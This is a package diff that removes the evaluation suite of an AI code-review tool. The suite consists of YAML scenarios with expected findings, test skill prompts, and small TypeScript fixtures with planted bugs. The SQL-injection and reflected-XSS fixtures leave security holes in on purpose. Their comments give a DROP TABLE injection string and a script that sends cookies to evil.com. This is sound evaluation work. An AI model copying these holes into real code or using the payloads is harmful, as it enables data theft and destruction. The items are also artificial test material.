@sentry/warden 0.12.0 → 0.14.0

package/evals/README.md

@@ -1,154 +0,0 @@
-# Warden Evals
-
-End-to-end behavioral evaluations for the Warden pipeline. These evals verify
-that Warden correctly runs skills, invokes the agent, extracts findings, and
-produces the expected behavioral outcomes on known code.
-
-## Philosophy
-
-Evals are not unit tests or A/B comparisons. They answer one question:
-
-> **Does the Warden pipeline behave correctly when given known inputs?**
-
-Each eval provides code with a known issue, runs the full Warden agent pipeline
-(skill loading, prompt construction, SDK invocation, finding extraction), and
-uses an LLM judge to verify the output matches behavioral expectations.
-
-Evals test **Warden's behavior**, not individual skills. Skills are used as
-test vehicles to exercise the pipeline.
-
-The only thing mocked is the GitHub event payload. Everything else runs for
-real.
-
-## YAML Format
-
-Evals are defined in YAML files at the top level of `evals/`. Each file
-describes a category of behaviors with a shared test skill and a list of
-scenarios. No custom code per eval. Adding a new eval means adding an entry
-to a YAML file and a fixture file.
-
-```yaml
-skill: skills/bug-detection.md
-
-evals:
-  - name: null-property-access
-    given: code that accesses properties on an array .find() result without null checking
-    files:
-      - fixtures/null-property-access/handler.ts
-    should_find:
-      - finding: accessing .name on a potentially undefined user object from Array.find()
-        severity: high
-    should_not_find:
-      - style, formatting, or naming issues
-      - the lack of try/catch around the fetch call
-```
-
-This reads as:
-
-> **Given** code that accesses properties on an array `.find()` result without
-> null checking, Warden **should find** a null access bug and **should not
-> find** style issues.
-
-## Eval Structure
-
-```
-evals/
-├── README.md
-├── bug-detection.yaml          # Category: finding logic bugs
-├── security-scanning.yaml      # Category: finding security vulnerabilities
-├── precision.yaml              # Category: avoiding false positives
-├── skills/                     # Test skills (vehicles for exercising pipeline)
-│   ├── bug-detection.md
-│   ├── security-scanning.md
-│   └── precision.md
-└── fixtures/                   # Source code with known issues
-    ├── null-property-access/
-    │   └── handler.ts
-    ├── off-by-one/
-    │   └── paginator.ts
-    ├── missing-await/
-    │   └── cache.ts
-    ├── wrong-comparison/
-    │   └── validator.ts
-    ├── stale-closure/
-    │   └── counter.tsx
-    ├── sql-injection/
-    │   └── api.ts
-    ├── xss-reflected/
-    │   └── server.ts
-    └── ignores-style-issues/
-        └── utils.ts
-```
-
-## YAML Schema
-
-### File-level fields
-
-| Field | Required | Description |
-|-------|----------|-------------|
-| `skill` | Yes | Path to test skill, relative to `evals/` |
-| `model` | No | Default model for all evals (default: `claude-sonnet-4-6`) |
-| `evals` | Yes | List of eval scenarios (at least one) |
-
-### Per-eval fields
-
-| Field | Required | Description |
-|-------|----------|-------------|
-| `name` | Yes | Scenario name (used in test output) |
-| `given` | Yes | What code/situation the eval sets up (BDD "given") |
-| `files` | Yes | Fixture files, relative to `evals/` |
-| `model` | No | Model override for this scenario |
-| `should_find` | Yes | What the pipeline should detect (at least one) |
-| `should_find[].finding` | Yes | Natural language description for the LLM judge |
-| `should_find[].severity` | No | Expected severity (hint, not strict) |
-| `should_find[].required` | No | If true (default), eval fails when not found |
-| `should_not_find` | No | Things the pipeline should NOT report (precision) |
-
-## Running Evals
-
-```bash
-# Run all evals (requires ANTHROPIC_API_KEY)
-pnpm test:evals
-
-# Run evals for a specific category
-pnpm test:evals -- --grep "bug-detection"
-
-# Run a single eval
-pnpm test:evals -- --grep "null-property-access"
-```
-
-Evals make real API calls. They run skills on `claude-sonnet-4-6` by
-default.
-
-## Adding a New Eval
-
-1. Pick an existing YAML file or create a new `evals/<category>.yaml`
-2. Add a scenario entry under the `evals:` key
-3. Create a fixture file under `evals/fixtures/<scenario>/`
-4. Run `pnpm test:evals` to verify
-
-If a new category needs a different test skill, add it to `evals/skills/`.
-
-### Guidelines
-
-- **One bug per eval.** Each scenario tests one specific behavior.
-- **Make bugs realistic.** Code should look like something a human wrote.
-- **Write precise `should_find`.** "null access on user.name from Array.find()"
-  is better than "finds a bug."
-- **Include `should_not_find`.** If the code has issues the skill should ignore,
-  call them out.
-- **Keep fixtures small.** 20-80 lines. The agent analyzes hunks, not novels.
-- **No custom code.** Every eval is just YAML + fixture files.
-
-## How It Works
-
-1. **Discovery**: Scan `evals/` for `.yaml` files
-2. **Loading**: Parse YAML, validate with Zod, resolve paths
-3. **Git repo**: Create a temp repo with fixture files committed on an `eval`
-   branch (empty `main` as base), so the agent has a real repo to explore
-4. **Context**: Build `EventContext` from real `git diff main...eval`
-5. **Execution**: Run the skill via `runSkill()` with the real SDK pipeline;
-   the agent operates in the temp repo with Read/Grep tools
-6. **Judgment**: An LLM judge (Sonnet) evaluates findings against assertions
-7. **Verdict**: Pass if all required `should_find` are met and no
-   `should_not_find` are violated

package/evals/bug-detection.yaml

@@ -1,56 +0,0 @@
-skill: skills/bug-detection.md
-
-evals:
-  - name: null-property-access
-    given: code that accesses properties on an array .find() result without null checking
-    files:
-      - fixtures/null-property-access/handler.ts
-    should_find:
-      - finding: accessing .name and .profile.avatar on a potentially undefined user object from Array.find()
-        severity: high
-    should_not_find:
-      - style, formatting, or naming issues
-      - the lack of try/catch around the fetch call
-
-  - name: off-by-one
-    given: pagination logic that uses Math.floor instead of Math.ceil, skipping the last page
-    files:
-      - fixtures/off-by-one/paginator.ts
-    should_find:
-      - finding: off-by-one error in page count calculation that loses the last page when totalItems is not evenly divisible by pageSize
-        severity: medium
-    should_not_find:
-      - use of any[] type
-      - missing error handling
-
-  - name: missing-await
-    given: async cache lookup missing await, causing a Promise object to be used as a truthy value
-    files:
-      - fixtures/missing-await/cache.ts
-    should_find:
-      - finding: missing await on loadFromCache() call, so cached is always a truthy Promise and the function never actually fetches fresh data
-        severity: high
-    should_not_find:
-      - console.log statements
-      - missing return type annotations
-
-  - name: wrong-comparison
-    given: permission check using <= instead of >=, inverting the access control logic
-    files:
-      - fixtures/wrong-comparison/validator.ts
-    should_find:
-      - finding: comparison operator is <= instead of >=, granting access to lower-privilege users while denying higher-privilege users
-        severity: high
-    should_not_find:
-      - hardcoded role strings
-      - suggestion to use an enum for roles
-
-  - name: stale-closure
-    given: React useEffect with setInterval that captures count in a stale closure
-    files:
-      - fixtures/stale-closure/counter.tsx
-    should_find:
-      - finding: "stale closure: setInterval callback captures initial count value and never sees updates, so the counter always sets the same value"
-        severity: high
-    should_not_find:
-      - TypeScript type annotation issues

package/evals/fixtures/ignores-style-issues/utils.ts

@@ -1,48 +0,0 @@
-// This code is functionally correct but has style issues.
-// A precision-focused eval: the skill should NOT report any of these as bugs.
-
-// Inconsistent naming convention (camelCase vs snake_case)
-export function calculate_total(items: number[]): number {
-  let runningTotal = 0;
-  for (let i = 0; i < items.length; i++) {
-    runningTotal = runningTotal + items[i]!;
-  }
-  return runningTotal;
-}
-
-// Verbose conditional (could be simplified but is correct)
-export function isEligible(age: number, hasConsent: boolean): boolean {
-  if (age >= 18) {
-    if (hasConsent === true) {
-      return true;
-    } else {
-      return false;
-    }
-  } else {
-    return false;
-  }
-}
-
-// Missing JSDoc, long parameter list, but functionally correct
-export function formatAddress(
-  street: string,
-  city: string,
-  state: string,
-  zip: string,
-  country: string
-): string {
-  const parts = [street, city, state, zip, country];
-  return parts.filter((p) => p.length > 0).join(', ');
-}
-
-// Magic numbers but correct behavior
-export function calculateDiscount(price: number, quantity: number): number {
-  if (quantity >= 100) {
-    return price * 0.8;
-  } else if (quantity >= 50) {
-    return price * 0.9;
-  } else if (quantity >= 10) {
-    return price * 0.95;
-  }
-  return price;
-}

package/evals/fixtures/missing-await/cache.ts

@@ -1,45 +0,0 @@
-interface CacheEntry {
-  key: string;
-  value: string;
-  expiresAt: number;
-}
-
-const store = new Map<string, CacheEntry>();
-
-async function saveToCache(key: string, value: string, ttlMs: number): Promise<void> {
-  // Simulate async storage (e.g., Redis, database)
-  await new Promise((resolve) => setTimeout(resolve, 1));
-  store.set(key, {
-    key,
-    value,
-    expiresAt: Date.now() + ttlMs,
-  });
-}
-
-async function loadFromCache(key: string): Promise<string | null> {
-  await new Promise((resolve) => setTimeout(resolve, 1));
-  const entry = store.get(key);
-  if (!entry) return null;
-  if (Date.now() > entry.expiresAt) {
-    store.delete(key);
-    return null;
-  }
-  return entry.value;
-}
-
-export async function getOrFetchData(key: string, fetchFn: () => Promise<string>): Promise<string> {
-  // Bug: missing await on loadFromCache. The result `cached` will be a
-  // Promise, which is truthy, so the function always returns a Promise
-  // object (as a string) instead of the actual cached value.
-  const cached = loadFromCache(key);
-
-  if (cached) {
-    console.log('Cache hit:', key);
-    return cached as unknown as string;
-  }
-
-  console.log('Cache miss:', key);
-  const fresh = await fetchFn();
-  await saveToCache(key, fresh, 60_000);
-  return fresh;
-}

package/evals/fixtures/null-property-access/handler.ts

@@ -1,36 +0,0 @@
-interface User {
-  id: string;
-  name: string;
-  email: string;
-  profile: {
-    avatar: string;
-    bio: string;
-  };
-}
-
-interface ApiResponse {
-  users: User[];
-  total: number;
-}
-
-async function fetchUsers(endpoint: string): Promise<ApiResponse> {
-  const response = await fetch(endpoint);
-  return response.json() as Promise<ApiResponse>;
-}
-
-export async function getUserDisplayName(userId: string): Promise<string> {
-  const data = await fetchUsers(`/api/users?id=${userId}`);
-  const user = data.users.find((u) => u.id === userId);
-
-  // Bug: user could be undefined if not found in the array,
-  // but we access .name without checking
-  const displayName = user.name;
-  const avatarUrl = user.profile.avatar;
-
-  return `${displayName} (${avatarUrl})`;
-}
-
-export async function getTeamMembers(teamId: string): Promise<string[]> {
-  const data = await fetchUsers(`/api/teams/${teamId}/members`);
-  return data.users.map((u) => u.name);
-}

package/evals/fixtures/off-by-one/paginator.ts

@@ -1,38 +0,0 @@
-export interface PaginatedResult<T> {
-  items: T[];
-  page: number;
-  totalItems: number;
-  pageSize: number;
-}
-
-/**
- * Fetch all pages of results from a paginated API endpoint.
- * Collects items from every page and returns them as a flat array.
- */
-export async function fetchAllPages<T>(
-  fetchPage: (page: number) => Promise<PaginatedResult<T>>
-): Promise<T[]> {
-  const firstPage = await fetchPage(1);
-  const allItems: T[] = [...firstPage.items];
-
-  // Bug: Math.floor loses the last page when totalItems is not evenly
-  // divisible by pageSize. E.g., 25 items / 10 per page = 2.5, floored
-  // to 2, so page 3 (items 21-25) is never fetched.
-  const totalPages = Math.floor(firstPage.totalItems / firstPage.pageSize);
-
-  for (let page = 2; page <= totalPages; page++) {
-    const result = await fetchPage(page);
-    allItems.push(...result.items);
-  }
-
-  return allItems;
-}
-
-/**
- * Get a specific page range of results.
- */
-export function getPageRange(totalItems: number, pageSize: number, currentPage: number): { start: number; end: number } {
-  const start = (currentPage - 1) * pageSize;
-  const end = Math.min(start + pageSize, totalItems);
-  return { start, end };
-}

package/evals/fixtures/sql-injection/api.ts

@@ -1,59 +0,0 @@
-interface DbConnection {
-  query(sql: string): Promise<Record<string, unknown>[]>;
-}
-
-function getConnection(): DbConnection {
-  // In production this returns a real DB connection
-  return {
-    query: async (sql: string) => {
-      console.log('Executing:', sql);
-      return [];
-    },
-  };
-}
-
-interface SearchParams {
-  name?: string;
-  email?: string;
-  role?: string;
-}
-
-/**
- * Search for users matching the given criteria.
- * Builds a dynamic WHERE clause from the search parameters.
- */
-export async function searchUsers(params: SearchParams): Promise<Record<string, unknown>[]> {
-  const db = getConnection();
-  const conditions: string[] = [];
-
-  if (params.name) {
-    // Bug: Direct string interpolation of user input into SQL query.
-    // An attacker can pass name = "'; DROP TABLE users; --" to execute
-    // arbitrary SQL.
-    conditions.push(`name = '${params.name}'`);
-  }
-  if (params.email) {
-    conditions.push(`email = '${params.email}'`);
-  }
-  if (params.role) {
-    conditions.push(`role = '${params.role}'`);
-  }
-
-  const whereClause = conditions.length > 0
-    ? `WHERE ${conditions.join(' AND ')}`
-    : '';
-
-  const sql = `SELECT id, name, email, role FROM users ${whereClause}`;
-  return db.query(sql);
-}
-
-/**
- * Get a user by their ID (this one is safe - uses parameterized approach).
- */
-export async function getUserById(id: number): Promise<Record<string, unknown> | null> {
-  const db = getConnection();
-  // This is safe because we validate the type
-  if (!Number.isInteger(id) || id <= 0) return null;
-  const results = await db.query(`SELECT * FROM users WHERE id = ${id}`);
-  return results[0] ?? null;
-}

package/evals/fixtures/stale-closure/counter.tsx

@@ -1,33 +0,0 @@
-import { useState, useEffect } from 'react';
-
-interface CounterProps {
-  initialValue: number;
-  step: number;
-  intervalMs: number;
-}
-
-/**
- * An auto-incrementing counter that ticks at a given interval.
- */
-export function AutoCounter({ initialValue, step, intervalMs }: CounterProps) {
-  const [count, setCount] = useState(initialValue);
-
-  useEffect(() => {
-    // Bug: This closure captures `count` once at mount time.
-    // Every tick reads the same stale `count` value and sets
-    // count to initialValue + step, over and over. The counter
-    // never actually increments past the first tick.
-    const id = setInterval(() => {
-      setCount(count + step);
-    }, intervalMs);
-
-    return () => clearInterval(id);
-    // eslint-disable-next-line react-hooks/exhaustive-deps
-  }, []);
-
-  return (
-    <div>
-      <span data-testid="count">{count}</span>
-    </div>
-  );
-}

package/evals/fixtures/wrong-comparison/validator.ts

@@ -1,52 +0,0 @@
-interface Permission {
-  resource: string;
-  action: 'read' | 'write' | 'delete';
-  role: string;
-}
-
-const ROLE_HIERARCHY: Record<string, number> = {
-  viewer: 0,
-  editor: 1,
-  admin: 2,
-  superadmin: 3,
-};
-
-/**
- * Check if a user's role has sufficient permissions for an action.
- * Returns true if the user is allowed to perform the action.
- */
-export function hasPermission(userRole: string, requiredRole: string): boolean {
-  const userLevel = ROLE_HIERARCHY[userRole] ?? 0;
-  const requiredLevel = ROLE_HIERARCHY[requiredRole] ?? 0;
-
-  // Bug: should be >= but uses <=, so only users with LOWER privilege
-  // than required are granted access (e.g., a viewer can perform admin
-  // actions, but an admin cannot).
-  return userLevel <= requiredLevel;
-}
-
-/**
- * Filter a list of permissions to only those a user can perform.
- */
-export function filterAllowedActions(
-  userRole: string,
-  permissions: Permission[]
-): Permission[] {
-  return permissions.filter((p) => hasPermission(userRole, p.role));
-}
-
-/**
- * Validate that a user can perform a specific action on a resource.
- */
-export function validateAccess(
-  userRole: string,
-  resource: string,
-  action: string,
-  permissions: Permission[]
-): boolean {
-  const matching = permissions.find(
-    (p) => p.resource === resource && p.action === action
-  );
-  if (!matching) return false;
-  return hasPermission(userRole, matching.role);
-}

package/evals/fixtures/xss-reflected/server.ts

@@ -1,55 +0,0 @@
-/**
- * Simple HTTP request handler for a search page.
- * Renders search results with the query term displayed back to the user.
- */
-export function handleSearchRequest(url: string): string {
-  const parsed = new URL(url, 'http://localhost:3000');
-  const query = parsed.searchParams.get('q') ?? '';
-  const page = parseInt(parsed.searchParams.get('page') ?? '1', 10);
-
-  // Simulate search results
-  const results = performSearch(query, page);
-
-  // Bug: The query string from the URL is interpolated directly into HTML
-  // without escaping. An attacker can craft a URL like:
-  //   /search?q=<script>document.location='http://evil.com/?c='+document.cookie</script>
-  // and the script will execute in the victim's browser.
-  return `
-    <!DOCTYPE html>
-    <html>
-    <head><title>Search Results</title></head>
-    <body>
-      <h1>Search Results</h1>
-      <p>Showing results for: <strong>${query}</strong></p>
-      <p>Page ${page} of ${results.totalPages}</p>
-      <ul>
-        ${results.items.map((item) => `<li>${escapeHtml(item.title)}</li>`).join('\n')}
-      </ul>
-    </body>
-    </html>
-  `;
-}
-
-function escapeHtml(text: string): string {
-  return text
-    .replace(/&/g, '&amp;')
-    .replace(/</g, '&lt;')
-    .replace(/>/g, '&gt;')
-    .replace(/"/g, '&quot;');
-}
-
-interface SearchResult {
-  items: { title: string; url: string }[];
-  totalPages: number;
-}
-
-function performSearch(query: string, page: number): SearchResult {
-  // Stub implementation
-  return {
-    items: [
-      { title: `Result for "${query}" - item 1`, url: '/result/1' },
-      { title: `Result for "${query}" - item 2`, url: '/result/2' },
-    ],
-    totalPages: Math.max(1, page),
-  };
-}

package/evals/precision.yaml

@@ -1,15 +0,0 @@
-skill: skills/precision.md
-
-evals:
-  - name: ignores-style-issues
-    given: functionally correct code with style issues (mixed naming conventions, verbose conditionals, magic numbers)
-    files:
-      - fixtures/ignores-style-issues/utils.ts
-    should_find:
-      - finding: "no bugs: the code is functionally correct despite having style issues, so zero or only info-level findings are expected"
-        required: false
-    should_not_find:
-      - inconsistent naming convention (snake_case vs camelCase)
-      - missing JSDoc comments
-      - verbose conditional that could be simplified
-      - magic numbers in discount calculation

package/evals/security-scanning.yaml

@@ -1,24 +0,0 @@
-skill: skills/security-scanning.md
-
-evals:
-  - name: sql-injection
-    given: SQL query built via string interpolation with user-supplied search parameters
-    files:
-      - fixtures/sql-injection/api.ts
-    should_find:
-      - finding: "SQL injection: user input from params.name, params.email, and params.role is directly interpolated into SQL query without parameterization"
-        severity: critical
-    should_not_find:
-      - the getConnection helper implementation
-      - missing email format validation as the primary issue
-
-  - name: xss-reflected
-    given: HTML template that renders URL query parameter directly into page without escaping
-    files:
-      - fixtures/xss-reflected/server.ts
-    should_find:
-      - finding: "reflected XSS: the query parameter from the URL is interpolated into HTML via template literal without calling escapeHtml()"
-        severity: critical
-    should_not_find:
-      - hardcoded port number
-      - missing HTTPS as the primary issue

package/evals/skills/bug-detection.md

@@ -1,33 +0,0 @@
----
-name: eval-bug-detection
-description: Test skill for bug detection evals. Finds logic errors, null handling bugs, async issues, and edge cases.
----
-
-You are an expert bug hunter analyzing code changes.
-
-## What to Report
-
-Find bugs that will cause incorrect behavior at runtime:
-
-- Null/undefined property access without guards
-- Off-by-one and boundary errors
-- Missing await on async operations
-- Wrong comparison operators (< vs <=, && vs ||)
-- Stale closures capturing outdated values
-- Type coercion causing unexpected behavior
-
-## What NOT to Report
-
-- Style or formatting preferences
-- Missing error handling that "might" matter
-- Performance concerns (unless causing incorrect behavior)
-- Unused variables or dead code
-- Missing tests or documentation
-- Security vulnerabilities (separate concern)
-
-## Output Requirements
-
-For each bug, provide:
-- The exact file and line
-- What incorrect behavior occurs
-- What specific input or condition triggers it

package/evals/skills/precision.md

@@ -1,18 +0,0 @@
----
-name: eval-precision
-description: Test skill for precision evals. Only reports logic bugs, nothing else.
----
-
-You are a strict bug detector. You ONLY report provable logic bugs.
-
-## Rules
-
-1. Only report bugs that WILL cause incorrect behavior
-2. You must be able to construct a specific input that triggers failure
-3. Do NOT report style, formatting, naming, or documentation issues
-4. Do NOT report missing error handling
-5. Do NOT report performance concerns
-6. Do NOT report security vulnerabilities
-7. If the code is correct, return an empty findings array
-
-Be extremely conservative. When in doubt, do not report.